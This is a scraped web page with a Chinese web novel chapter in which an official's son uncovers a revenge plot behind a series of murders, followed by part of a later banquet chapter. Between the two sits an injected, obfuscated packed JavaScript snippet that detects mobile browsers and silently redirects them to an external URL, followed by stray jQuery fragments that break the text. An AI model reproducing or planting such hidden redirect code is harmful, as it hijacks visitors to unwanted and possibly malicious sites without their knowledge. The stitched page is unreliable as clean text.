38. 另有隐情
作品:《雁辞行》 箫恒手背在身后,手指拽着衣袖来回搓捻,面上冷静肃穆。
“无忧”一案查到现在,每次刚有一点头绪线索就会断掉,要说这一切都是巧合,那就是把箫恒当傻子糊弄了。
躲在暗处的人步步为营抹去一切蛛丝马迹,可这世上没有不透风的墙,只要是发生过的事,就一定会露出马脚,迟早而已。
箫恒微微眯起眼睛,仔细打量阿兰,阿兰手扶扫把,背微微佝偻,在寒风中略显萧瑟,与之前清闲娇贵的小倌人有天壤之别。
箫恒问他:“那画家卖无忧给京城的公子哥们,这件事你知不知道?”
阿兰一愣,继而坚定地摇头:“无忧竟是从那画家手上买的?大少爷,我不知道。”
“你是怎么认识那个画家的?”
“他自己来找我的,其实以前在杏花楼就见过,我去了缘来阁之后,他主动前来结交,一来二去就熟了,算不上朋友,只是互相帮衬生意。”
箫恒又深深地看了阿兰一眼,“现在缘来阁开不下去了,你接下来有什么打算?毕竟是五公子的人,他总不会让你在我府里做一辈子的粗使杂役吧?”
说到这个阿兰有些委屈,他看看沈韵瑾又看看箫恒,目光里闪过一丝哀求:“我不知道怎么联系五公子,五公子走之前只说有事就找大少爷和少夫人,说你们会帮我的。大少爷,你别赶我走,阿兰什么都能做。”
箫恒捏着鼻梁稍稍往后退了一步,他怕阿兰下一秒就要跪下来扯着他的裤腿求他。
阿兰把腰弯得更低了点,箫恒抬起一只手说:“行,那你继续扫地吧。”
走出院子,箫恒找来暗卫,轻声问:“那阿兰当真没有和栾枫联系过?”
暗卫答:“没见他对外传过消息。”
“那羌芜那边呢?最近有什么动静?”
“五王子在争储,跟他几个哥哥打得厉害,估计顾不上阿兰。”
箫恒皱起眉头,前段时间身体一向强壮的羌芜国王突然病重,继位之事却迟迟未定,几个王子都觊觎王位,野心丝毫不藏,没有老国王管着,他们能动手绝不讲道理,于是引发了羌芜内乱。
这是羌芜王室的家务事,只要不犯中原,皇上也不好插手。
箫恒想了想又问:“栾枫有跟祁王联系过吗?”
暗卫惭愧道:“祁王手下的人做事很严谨,我们几乎探查不到他们的动向。”
箫恒神色变得凝重起来,他想到了刺杀沈韵瑾的死士。厉害且忠诚的心腹手下不是一朝一夕能养成的,祁王一向扮弱,以前从没有人想过他也培养了自己的势力。箫恒冷笑一下,被先皇视如草芥的落魄皇子,藏得可真够深的。
他吩咐暗卫:“你去查查祁王的那对双生小妾,听说她们会功夫。”
京城有些贵族会养女杀手,而让女杀手忠诚的最好办法就是让她们成为自己的女人,祁王偏宠小妾,连安国侯之女安阳郡主都敢冷落,个中缘由本就值得深究。
调查祁王的小妾倒是没费什么工夫,暗卫很快就送来了完整的档案。
祁王的小妾一个叫熙儿,一个叫淳儿,她们的娘是早二十年跟着胡人军队来京城的舞姬,那时两国交战,胡军战败后她被卖到京城的翠华楼,后来生下一对孪生女儿,不久后就逝世了。熙儿和淳儿两姐妹从小在翠华楼长大,小时候被恶徒欺负,路过的祁王救了她们一命,至此就跟了祁王。
她们的武功应该是祁王找人传授的,有些事女人办起来比男人办起来更方便,而且不容易让人怀疑。
说到熙儿和淳儿娘的死,箫恒发现档案中提到的一件事,事件源于翠花楼老鸨的自述:
“那两姐妹如今是攀上高枝了,也不知道回来孝敬孝敬我,她们以前过的什么日子忘了?要不是有我罩着,估计早没命了。”
“说起来那个惨哟,那时候两个小姑娘才丁点儿大,五六岁吧,我记得那天是她们生日,媚娘带她们上街去买新衣裳,高高兴兴地去,凄凄惨惨地回。原是在街上不小心撞了几个大户人家的小孩,那里刚好有块石头,其中有个小孩头磕了血,媚娘慌了,把手上所有的钱赔了还不够。那些小孩要求她们站着,用石头扔她们,扔爽了就放她们走。”
“媚娘年轻时受了很多苦,她知道这些小孩背后的家族不好惹,只好同意了,她把两个小姑娘护在身后,可那些小孩偏偏要追着两个小姑娘扔石头,媚娘只好堵在巷子里让她们跑,自己就站在那里承受那些石头的攻击。”
“那些小孩别看年纪小,心是真狠啊,媚娘就是被他们用石头活活打死的,抬回来的时候身上都没一块好肉。只不过是撞了一下他们,就落得这个下场,我们这种贫贱人惹不起哦。”
箫恒细细地看完,放下手中的纸沉思了一会儿,问暗卫:“能找出当年那几个打人的小孩具体是谁吗?”
暗卫一怔:“要查这个?时间隔得比较久,查起来有点困难,我去试试。”
箫恒心里有个念头,他如果没猜错的话,那几个用石头砸死熙儿和淳儿她们娘的小孩,就是这次被阿洛粉身碎骨的那几个公子。
虽然无凭无据,可箫恒就是有一种强烈的直觉,这两件事一定有关系。如果是这样,那所有的事就说得通了,京城少爷惨死案是仇杀,一切的确早有预谋,但不是祁王他们的预谋,是那对双生子的预谋,至于祁王知道多少?参与多少?又或者顺势而为做了哪些事?从朝廷的风向便可得知。
箫恒耐心等了几天,暗卫带来的消息证实了他的猜想。箫恒长长地舒了口气,查了那么久的案子,却在一个不经意的时候得知了真相。
但箫恒并未感到放松,他去大理寺的地牢见了阿洛,直截了当地问:“何人指使你杀人?”
阿洛睡得迷迷糊糊被吵醒,不大耐烦,“你在说什么?我不是告诉你事情经过了吗?”
箫恒一字一顿说:“我问你,是谁指使你杀人?熙儿?淳儿?还是远在楚地的祁王?”
阿洛有一瞬间的恍神,她揉了揉脸,又慢慢地笑了:“我听不懂你说什么?什么熙儿淳儿祁王的?你为了保我一命开始嫁祸他人了?我谢谢你奥,可我一个平民百姓也知道,定罪是要讲证据的。”
箫恒点点头:“嗯,我会找到证据的,不过在那之前你只能在这牢里待着了,也许一年,也许两年,也许一辈子。”
阿洛不在意地说:“管吃管喝就行。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411817|146359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一年走到末尾,所有的事都暂停下来,皇上被文武百官吵得心烦,早早放了年休。
年休的第一日,沈尚书在家摆酒,打的旗号是年终小聚,实则是庆祝小儿子任职军需处副转运司,沈韵瑾和箫恒被邀请回家参宴。
沈韵瑾本想替箫恒拒了,但老夫人说“哪有女婿不参加家宴的”,极力让箫恒去。
这是心柔死后,箫恒和沈韵瑾第一次一同外出。
因怕像上次那样发生刺杀事件,马车后面跟了一队侍卫,看不见的地方还有暗卫护航。这架势过于隆重,弄得沈韵瑾也跟着紧张起来。
马车缓缓驶过京城的石板路,车轮与路面的摩擦声在静谧的车厢内显得格外清晰,沈韵瑾目光透过窗帘的缝隙,凝视着外面忽隐忽现的街景。箫恒坐在对面,面色冰冷瞧不出情绪。
沈韵瑾几次想把她写的那封休书拿出来跟箫恒讲清楚,话到了嘴边,却又觉得当下不是个好时机,于是一路沉默,气氛压抑到了极点。
好在沈府与将军府也只离了两条街,没一会儿便到了,箫恒径直下了车,没有扶沈韵瑾,小厮蹲下身充当踩踏,沈韵瑾示意他不用,她扶着车门跳了下来。
沈韵瑾和箫恒隔着一个人的距离并肩往府中走,门口依旧摆满了迎宾的花束,用绢布制成,五彩斑斓,鲜妍靓丽。
沈尚书叫着“贤婿”迎上来,箫恒虽然恭恭敬敬地应着,但笑容始终淡淡地浮在表面,他对沈韵瑾的三哥说了声“恭喜”,然后就被拉入了他们的圈子。
虽然说是家宴,可沈归义请了不少官场上的朋友来,园中宾客满座。沈韵瑾扫了一圈,来的都是世家的人,她三哥被她爹拉着穿梭其中待客,沈归义红光满面,可沈子瑜本就不善交际,面对这种场面有些无措和无奈。
沈韵瑾同赵姨娘站在一处,赵姨娘轻声说:“子瑜其实是个不错的孩子,他两个哥哥瞧不上他,现在他进了军需处,也算有份正经事做了。”
沈韵瑾冷哼一声,心道她大哥二哥能瞧得上谁?从来眼里都只看得见对自己有利的人,跟她爹一个德行。不过沈子瑜也的确没什么让人瞧得上的本事。
沈韵瑾说:“沈子瑜压根就不适合在官场上混,硬把他推进去,还不知道会不会惹出祸来,反正家里也不缺他这点俸禄,让他当个富贵闲人多好。”
赵姨娘说:“军需处副转运司是个肥差,你爹哪舍得放过。”
沈韵瑾想想也是,暗中翻个白眼,无话可说。
赵姨娘悄悄掐了沈韵瑾一把:“你这是什么表情?就这么嫌弃你爹?你爹世家出身,幼时遇浩劫被抄家,一家满门就他这一个儿子活了出来,他花了几十年才重振门楣跟其他世家子弟平起平坐,走到今天这一步也很不容易。”
“用那些见不得光的方式重振门楣么?”沈韵瑾看着那些官员脸上虚假的笑容和张口即来毫无诚意的阿谀奉承,心中只觉得恶心。
箫恒似感觉到沈韵瑾不甚善意的目光,从人群中偏过头来,与沈韵瑾遥遥对视。沈韵瑾收敛情绪,眉毛微微一挑,露出一个无懈可击的笑容。
笑容是沈韵瑾的面具,她随时可以戴上,箫恒却被这笑晃了一下眼睛,他面无表情地转回头。